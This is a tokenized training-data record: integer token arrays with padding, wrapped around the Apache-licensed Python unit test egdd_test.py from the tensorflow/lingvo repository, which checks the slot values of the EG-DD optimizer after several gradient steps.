469, 3136, 63, 3557, 1, 82, 93, 3530, 272, 776, 339, 347, 636, 826, 721, 277, 12, 1011, 958, 304, 267, 327, 340, 949, 2725, 3032, 12, 675, 314, 2569, 1125, 1245, 3140, 267, 340, 822, 8, 958, 9, 508, 378, 26, 288, 291, 14, 5045, 275, 283, 3136, 63, 3557, 63, 515, 1471, 506, 663, 315, 5516, 11213, 398, 1613, 11027, 826, 14155, 958, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 4900, 26, 4718, 27, 4363, 13, 8741, 13, 632, 26, 20613, 27, 5174, 13, 2063, 26, 20, 1882, 199, 3, 199, 3, 1898, 334, 35, 9, 7800, 6855, 7174, 12126, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 1015, 650, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 421, 199, 504, 13639, 32342, 14, 4672, 14, 2550, 492, 428, 2542, 32342, 547, 421, 199, 533, 18464, 502, 3139, 5263, 8, 1726, 304, 272, 408, 33, 5762, 3405, 370, 3550, 1041, 421, 199, 533, 18464, 502, 3484, 547, 8, 31894, 32342, 547, 304, 272, 408, 33, 5762, 1475, 1471, 506, 663, 1041, 339, 7104, 275, 334, 267, 283, 3136, 63, 908, 1471, 506, 663, 315, 5516, 11213, 272, 776, 421, 199, 533, 18464, 502, 3484, 16546, 8, 31894, 32342, 547, 304, 272, 408, 33, 5762, 1475, 945, 365, 440, 315, 314, 3247, 769, 1041, 339, 7104, 275, 334, 267, 283, 3136, 63, 908, 1471, 506, 282, 945, 315, 469, 908, 63, 1419, 63, 513, 93, 3134, 78, 7, 267, 283, 509, 3063, 5762, 63, 908, 3126, 3136, 63, 908, 1, 82, 6834, 272, 776, 421, 199, 533, 18464, 502, 5157, 547, 8, 31894, 32342, 547, 304, 272, 408, 33, 5762, 4744, 7286, 1125, 624, 339, 7104, 275, 334, 267, 283, 6612, 2342, 314, 7286, 5762, 4744, 469, 3136, 63, 3557, 1, 82, 93, 3530, 272, 776, 339, 347, 636, 826, 721, 277, 12, 1011, 958, 304, 267, 327, 340, 949, 2725, 3032, 12, 675, 314, 2569, 1125, 1245, 3140, 267, 340, 822, 8, 958, 9, 508, 378, 26, 288, 291, 14, 5045, 275, 283, 3136, 63, 3557, 63, 515, 1471, 506, 663, 315, 5516, 11213, 398, 1613, 11027, 826, 14155, 958, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
tensorflow/lingvo
lingvo/core/egdd_test.py
1
4604
# Lint as: python3 # Copyright 2020 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for EG-DD optimizer.""" from lingvo import compat as tf from lingvo.core import egdd from lingvo.core import test_utils class EGDD(test_utils.TestCase): def testDenseLayer(self): """EG-DD update.""" with self.cached_session() as sess: var = tf.Variable([0.5, 1.0]) grad = tf.placeholder(tf.float32, shape=[2]) opt = egdd.EGDD( learning_rate=0.1, momentum=0.9, beta=0.1, gain_learning_rate=1e-2, scale_learning_rate=1e-3, use_signs=False) step = opt.apply_gradients([(grad, var)]) tf.global_variables_initializer().run() pre_var = sess.run(var) pre_momentum = sess.run(opt.get_slot(var, 'momentum')) pre_gain = sess.run(opt.get_slot(var, 'gain')) pre_lr_scale = sess.run(opt.get_slot(var, 'lr_scale')) self.assertAllClose([0.5, 1.0], pre_var) self.assertAllClose([0.0, 0.0], pre_momentum) self.assertAllClose([1.0, 1.0], pre_gain) self.assertAllClose([1.0], pre_lr_scale) sess.run(step, feed_dict={grad: [0.1, -0.5]}) pre_var = sess.run(var) pre_momentum = sess.run(opt.get_slot(var, 'momentum')) pre_gain = sess.run(opt.get_slot(var, 'gain')) pre_lr_scale = sess.run(opt.get_slot(var, 'lr_scale')) self.assertAllClose([0.49, 1.05], pre_var) self.assertAllClose([0.01, -0.05], pre_momentum) self.assertAllClose([1, 1], pre_gain) self.assertAllClose([1.0], pre_lr_scale) sess.run(step, feed_dict={grad: [-1.0, -1.5]}) pre_var = sess.run(var) pre_momentum = sess.run(opt.get_slot(var, 'momentum')) pre_gain = sess.run(opt.get_slot(var, 'gain')) pre_lr_scale = sess.run(opt.get_slot(var, 'lr_scale')) self.assertAllClose([0.5810, 1.2463], pre_var, atol=1e-4) self.assertAllClose([-0.0909, -0.1961], pre_momentum, atol=1e-4) self.assertAllClose([0.9990, 1.0075], pre_gain, atol=1e-4) self.assertAllClose([1.0007], pre_lr_scale, atol=1e-4) def testDenseLayerSigns(self): """EG-DD update.""" with self.cached_session() as sess: var = tf.Variable([0.5, 1.0]) grad = tf.placeholder(tf.float32, shape=[2]) opt = egdd.EGDD( learning_rate=0.1, momentum=0.9, beta=0.1, gain_learning_rate=1e-2, scale_learning_rate=1e-3, use_signs=True) step = opt.apply_gradients([(grad, var)]) tf.global_variables_initializer().run() pre_var = sess.run(var) pre_momentum = sess.run(opt.get_slot(var, 'momentum')) pre_gain = sess.run(opt.get_slot(var, 'gain')) pre_lr_scale = sess.run(opt.get_slot(var, 'lr_scale')) self.assertAllClose([0.5, 1.0], pre_var) self.assertAllClose([0.0, 0.0], pre_momentum) self.assertAllClose([1.0, 1.0], pre_gain) self.assertAllClose([1.0], pre_lr_scale) sess.run(step, feed_dict={grad: [0.1, -0.5]}) pre_var = sess.run(var) pre_momentum = sess.run(opt.get_slot(var, 'momentum')) pre_gain = sess.run(opt.get_slot(var, 'gain')) pre_lr_scale = sess.run(opt.get_slot(var, 'lr_scale')) self.assertAllClose([0.49, 1.05], pre_var) self.assertAllClose([0.01, -0.05], pre_momentum) self.assertAllClose([1, 1], pre_gain) self.assertAllClose([1.0], pre_lr_scale) sess.run(step, feed_dict={grad: [-1.0, -1.5]}) pre_var = sess.run(var) pre_momentum = sess.run(opt.get_slot(var, 'momentum')) pre_gain = sess.run(opt.get_slot(var, 'gain')) pre_lr_scale = sess.run(opt.get_slot(var, 'lr_scale')) self.assertAllClose([0.5801, 1.2466], pre_var, atol=1e-4) self.assertAllClose([-0.0900, -0.1965], pre_momentum, atol=1e-4) self.assertAllClose([0.9900, 1.0101], pre_gain, atol=1e-4) self.assertAllClose([1.0007], pre_lr_scale, atol=1e-4) if __name__ == '__main__': tf.test.main()
apache-2.0
[ 3, 491, 442, 465, 26, 2366, 19, 199, 3, 1898, 25455, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 662, 39, 13, 5745, 10736, 1041, 199, 504, 634, 316, 2392, 492, 8434, 465, 2833, 199, 504, 634, 316, 2392, 14, 1018, 492, 11837, 617, 199, 504, 634, 316, 2392, 14, 1018, 492, 511, 63, 1208, 421, 199, 533, 662, 39, 5745, 8, 396, 63, 1208, 14, 1746, 304, 819, 347, 511, 15327, 5003, 8, 277, 304, 272, 408, 4680, 13, 5745, 1678, 1041, 339, 543, 291, 14, 5245, 63, 1730, 342, 465, 4043, 26, 489, 2729, 275, 2833, 14, 2773, 779, 16, 14, 21, 12, 413, 14, 16, 566, 489, 7659, 275, 2833, 14, 6199, 8, 3249, 14, 1609, 708, 12, 2215, 1524, 18, 566, 489, 2450, 275, 11837, 617, 14, 4680, 5745, 8, 881, 9328, 63, 1866, 29, 16, 14, 17, 12, 881, 23887, 29, 16, 14, 25, 12, 881, 8201, 29, 16, 14, 17, 12, 881, 15334, 63, 10546, 63, 1866, 29, 17, 69, 13, 18, 12, 881, 4666, 63, 10546, 63, 1866, 29, 17, 69, 13, 19, 12, 881, 675, 63, 20440, 29, 797, 9, 2541, 3650, 275, 2450, 14, 4998, 63, 13065, 7694, 6017, 12, 2729, 3948, 489, 2833, 14, 2966, 63, 3669, 63, 6498, 1252, 1065, 342, 2541, 876, 63, 1391, 275, 4043, 14, 1065, 8, 1391, 9, 489, 876, 63, 25710, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 283, 25710, 1333, 489, 876, 63, 13020, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 283, 13020, 1333, 489, 876, 63, 7493, 63, 3467, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 283, 7493, 63, 3467, 1333, 489, 291, 14, 7260, 779, 16, 14, 21, 12, 413, 14, 16, 467, 876, 63, 1391, 9, 489, 291, 14, 7260, 779, 16, 14, 16, 12, 378, 14, 16, 467, 876, 63, 25710, 9, 489, 291, 14, 7260, 779, 17, 14, 16, 12, 413, 14, 16, 467, 876, 63, 13020, 9, 489, 291, 14, 7260, 779, 17, 14, 16, 467, 876, 63, 7493, 63, 3467, 9, 489, 4043, 14, 1065, 8, 2926, 12, 4733, 63, 807, 3126, 6017, 26, 359, 16, 14, 17, 12, 446, 16, 14, 21, 13412, 489, 876, 63, 1391, 275, 4043, 14, 1065, 8, 1391, 9, 489, 876, 63, 25710, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 283, 25710, 1333, 489, 876, 63, 13020, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 283, 13020, 1333, 489, 876, 63, 7493, 63, 3467, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 283, 7493, 63, 3467, 1333, 489, 291, 14, 7260, 779, 16, 14, 1887, 12, 413, 14, 1717, 467, 876, 63, 1391, 9, 489, 291, 14, 7260, 779, 16, 14, 614, 12, 446, 16, 14, 1717, 467, 876, 63, 25710, 9, 489, 291, 14, 7260, 779, 17, 12, 413, 467, 876, 63, 13020, 9, 489, 291, 14, 7260, 779, 17, 14, 16, 467, 876, 63, 7493, 63, 3467, 9, 489, 4043, 14, 1065, 8, 2926, 12, 4733, 63, 807, 3126, 6017, 26, 5243, 17, 14, 16, 12, 446, 17, 14, 21, 13412, 489, 876, 63, 1391, 275, 4043, 14, 1065, 8, 1391, 9, 489, 876, 63, 25710, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 283, 25710, 1333, 489, 876, 63, 13020, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 283, 13020, 1333, 489, 876, 63, 7493, 63, 3467, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 283, 7493, 63, 3467, 1333, 489, 291, 14, 7260, 779, 16, 14, 2010, 709, 12, 413, 14, 1194, 2766, 467, 876, 63, 1391, 12, 9543, 29, 17, 69, 13, 20, 9, 489, 291, 14, 7260, 11468, 16, 14, 1643, 1643, 12, 446, 16, 14, 1167, 2976, 467, 876, 63, 25710, 12, 9543, 29, 17, 69, 13, 20, 9, 489, 291, 14, 7260, 779, 16, 14, 1020, 2710, 12, 413, 14, 31028, 467, 876, 63, 13020, 12, 9543, 29, 17, 69, 13, 20, 9, 489, 291, 14, 7260, 779, 17, 14, 22530, 467, 876, 63, 7493, 63, 3467, 12, 9543, 29, 17, 69, 13, 20, 9, 819, 347, 511, 15327, 5003, 11575, 561, 8, 277, 304, 272, 408, 4680, 13, 5745, 1678, 1041, 339, 543, 291, 14, 5245, 63, 1730, 342, 465, 4043, 26, 489, 2729, 275, 2833, 14, 2773, 779, 16, 14, 21, 12, 413, 14, 16, 566, 489, 7659, 275, 2833, 14, 6199, 8, 3249, 14, 1609, 708, 12, 2215, 1524, 18, 566, 489, 2450, 275, 11837, 617, 14, 4680, 5745, 8, 881, 9328, 63, 1866, 29, 16, 14, 17, 12, 881, 23887, 29, 16, 14, 25, 12, 881, 8201, 29, 16, 14, 17, 12, 881, 15334, 63, 10546, 63, 1866, 29, 17, 69, 13, 18, 12, 881, 4666, 63, 10546, 63, 1866, 29, 17, 69, 13, 19, 12, 881, 675, 63, 20440, 29, 549, 9, 2541, 3650, 275, 2450, 14, 4998, 63, 13065, 7694, 6017, 12, 2729, 3948, 489, 2833, 14, 2966, 63, 3669, 63, 6498, 1252, 1065, 342, 2541, 876, 63, 1391, 275, 4043, 14, 1065, 8, 1391, 9, 489, 876, 63, 25710, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12 ]
[ 491, 442, 465, 26, 2366, 19, 199, 3, 1898, 25455, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 662, 39, 13, 5745, 10736, 1041, 199, 504, 634, 316, 2392, 492, 8434, 465, 2833, 199, 504, 634, 316, 2392, 14, 1018, 492, 11837, 617, 199, 504, 634, 316, 2392, 14, 1018, 492, 511, 63, 1208, 421, 199, 533, 662, 39, 5745, 8, 396, 63, 1208, 14, 1746, 304, 819, 347, 511, 15327, 5003, 8, 277, 304, 272, 408, 4680, 13, 5745, 1678, 1041, 339, 543, 291, 14, 5245, 63, 1730, 342, 465, 4043, 26, 489, 2729, 275, 2833, 14, 2773, 779, 16, 14, 21, 12, 413, 14, 16, 566, 489, 7659, 275, 2833, 14, 6199, 8, 3249, 14, 1609, 708, 12, 2215, 1524, 18, 566, 489, 2450, 275, 11837, 617, 14, 4680, 5745, 8, 881, 9328, 63, 1866, 29, 16, 14, 17, 12, 881, 23887, 29, 16, 14, 25, 12, 881, 8201, 29, 16, 14, 17, 12, 881, 15334, 63, 10546, 63, 1866, 29, 17, 69, 13, 18, 12, 881, 4666, 63, 10546, 63, 1866, 29, 17, 69, 13, 19, 12, 881, 675, 63, 20440, 29, 797, 9, 2541, 3650, 275, 2450, 14, 4998, 63, 13065, 7694, 6017, 12, 2729, 3948, 489, 2833, 14, 2966, 63, 3669, 63, 6498, 1252, 1065, 342, 2541, 876, 63, 1391, 275, 4043, 14, 1065, 8, 1391, 9, 489, 876, 63, 25710, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 283, 25710, 1333, 489, 876, 63, 13020, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 283, 13020, 1333, 489, 876, 63, 7493, 63, 3467, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 283, 7493, 63, 3467, 1333, 489, 291, 14, 7260, 779, 16, 14, 21, 12, 413, 14, 16, 467, 876, 63, 1391, 9, 489, 291, 14, 7260, 779, 16, 14, 16, 12, 378, 14, 16, 467, 876, 63, 25710, 9, 489, 291, 14, 7260, 779, 17, 14, 16, 12, 413, 14, 16, 467, 876, 63, 13020, 9, 489, 291, 14, 7260, 779, 17, 14, 16, 467, 876, 63, 7493, 63, 3467, 9, 489, 4043, 14, 1065, 8, 2926, 12, 4733, 63, 807, 3126, 6017, 26, 359, 16, 14, 17, 12, 446, 16, 14, 21, 13412, 489, 876, 63, 1391, 275, 4043, 14, 1065, 8, 1391, 9, 489, 876, 63, 25710, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 283, 25710, 1333, 489, 876, 63, 13020, 275, 4043, 14, 1065, 8, 2992, 14, 362, 63, 7998, 8, 1391, 12, 283, 13020, 1333, 489, 876, 63, 7493, 63, 3467, 275, 